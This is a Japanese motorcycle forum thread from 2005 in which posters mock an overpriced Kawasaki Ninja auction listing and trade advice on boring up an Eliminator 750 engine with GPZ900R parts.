車検受けたりしなきゃいけないのに5日以内に名義変更しろとはまた香ばしいﾔｼだなw
それとも検無しの車両は名義変更できないって知らないのか？
もしかしてバイクは検無しでも名変出来るの？(確か4輪は出来なかったよね？)
保証金20万ってw
443:７７４ＲＲ
05/11/17 23:38:27 To311G41
ウイリーの１７インチ用リンクってまだ手に入りますか？
情報が欲しいのでホームページを検索したけど見つからなかったので、
何か知ってる方宜しくお願いします。
444:７７４ＲＲ
05/11/17 23:41:30 uf6cxyL+
ウイリーに明日telしてみれば?
445:MD22
05/11/17 23:52:08 Y635JSEO
>>443
昨日しゃぼん玉本店に行ったらあったよ。
～A11用とA12～用とガラスケースに並んでました。
リア18インチの俺にはまるで縁のない一品です。(w
446:(≠´∀`ｮ) ◆XXZOJFA9.s
05/11/17 23:56:38 esYisvyU
>>439のコレなんでこんな値段なんだ？
せいぜい130万てとこだとおもうんだが
447:７７４ＲＲ
05/11/18 00:01:36 vurcdQYy
すごいことになってきた。
URLﾘﾝｸ(page2.auctions.yahoo.co.jp)
448:７７４ＲＲ
05/11/18 00:06:50 58GSvDgb
保証金２０万円てマンションかよ（笑）
それに転倒暦てw
暦でどうするw
どうやったらあのマシンで３５０万以上かかるのですか？
誰かエロイ人教えて
449:７７４ＲＲ
05/11/18 00:13:39 wRBz+EuO
ＧＰＺの７５０Ｒって腰上だけ９００Ｒのシリンダー＆ヘッド＆ピストンで
ボアアップできないんでせうか？？そうすればクランクケースの原動機ナンバー
変わらないですよね？
450:７７４ＲＲ
05/11/18 00:18:23 YTo8YhR8
>>449
ヘッドは750を加工して使ったほうがいいよ｡
451:７７４ＲＲ
05/11/18 08:14:18 m+RVeWzR
kotono0903
どさくさに紛れて宣伝するな！
452:７７４ＲＲ
05/11/18 09:34:09 UdC0zfak
>449
クランクケースの原動機ナンバーを変えたくない理由が車検であるならば
７５０⇒９００の積み替えは面倒な計算不要
正攻法で行くべし
本気でやりたいならやり方教えてあげるからそう書いてね
453:７７４ＲＲ
05/11/18 11:29:16 wRBz+EuO
>>450.452さん、ありがとです。
ＧＰＺ７５０Ｒと書きましたがエリミ７５０なんです。（エリミスレは落ちて
しまいました・・・）
某エリミオーナーに尋ねた所、駆動がシャフトドライブなんで９００Ｒエンジ
ンそのまま載せるにはチェーン駆動に改造する必要があるんです。
今のエンジンはギア抜けも少なく当たりのようなので腰下はエリミ７５０の
ままでボアアップさせる方法が知りたくて質問させてもらいました。
エリミ９００のエンジンなんて早々見つからないだろうし・・・
454:７７４ＲＲ
05/11/18 14:51:42 UdC0zfak
それならばクランクと腰上をごっそり入れ替えれば大丈夫だと思うけれど。。。
ヘッドも９００がいいでしょ？
なぜ７５０を勧めるのかな？
455:７７４ＲＲ
05/11/18 18:52:27 y0BLf6qg
オク出品中の高級ｗニンジャは、質問欄の回答によると２４０ｋｍからブレるそうですｗ
ダメダメじゃん！！
456:７７４ＲＲ
05/11/18 19:14:32 DW9TKDim
何故あの値段なのかが知りたい
457:７７４ＲＲ
05/11/18 19:24:56 wRBz+EuO
>>454
やはりそうなると腰上だけ交換って事じゃ無く、クランクケース割らないと
いけないって事ですかねぇ。
458:７７４ＲＲ
05/11/18 20:47:58 YTo8YhR8
>>454
圧縮比を稼げるから｡あくまでカスタムベースで腰下750で考えた場合｡
459:７７４ＲＲ
05/11/19 00:24:25 isgkCIy5
上記のﾔﾌｵｸを見て…
いつからﾎﾞﾙﾄｵﾝﾊﾟｰﾂてんこ盛り＝ﾌﾙｶｽﾀﾑになったんだよw
あれはただの盆栽でしょ。
あれならﾄﾞﾉｰﾏﾙのA1の方がいい仕事しそうだよ。
460:７７４ＲＲ
05/11/19 00:40:51 0N16p0mL
盆栽盆栽、って囃す側ヤツに限ってロクなのいない。
461:７７４ＲＲ
05/11/19 00:48:26 ppoBPOaG
>圧縮比を稼げるから｡あくまでカスタムベースで腰下750で考えた場合｡
ええっと。。。やはりそうですか。
これ、都市伝説です。と言い切ってしまおう。
ある人の９００Ｒが７５０Ｒヘッドを使用してたことから有名になりましたが、
あまりにコストパフォーマンスが悪すぎます。
７５０のヘッドと９００のヘッドを並べてみるとよーくわかりますが、
排気も吸気も、７５０のポートは絶望的なくらい狭く、またバルブ系が
細いのです。これが致命的。
ヘッド加工をするとなると、大幅なポート加工とバルブシートカット、
バルブ入れ替えが必要となります。
これは大きな出費です。
なお９００のヘッドを面研して、カムスプロケット長穴加工
＆タイミング調整しても圧縮を上げられます。
どちらを選びます？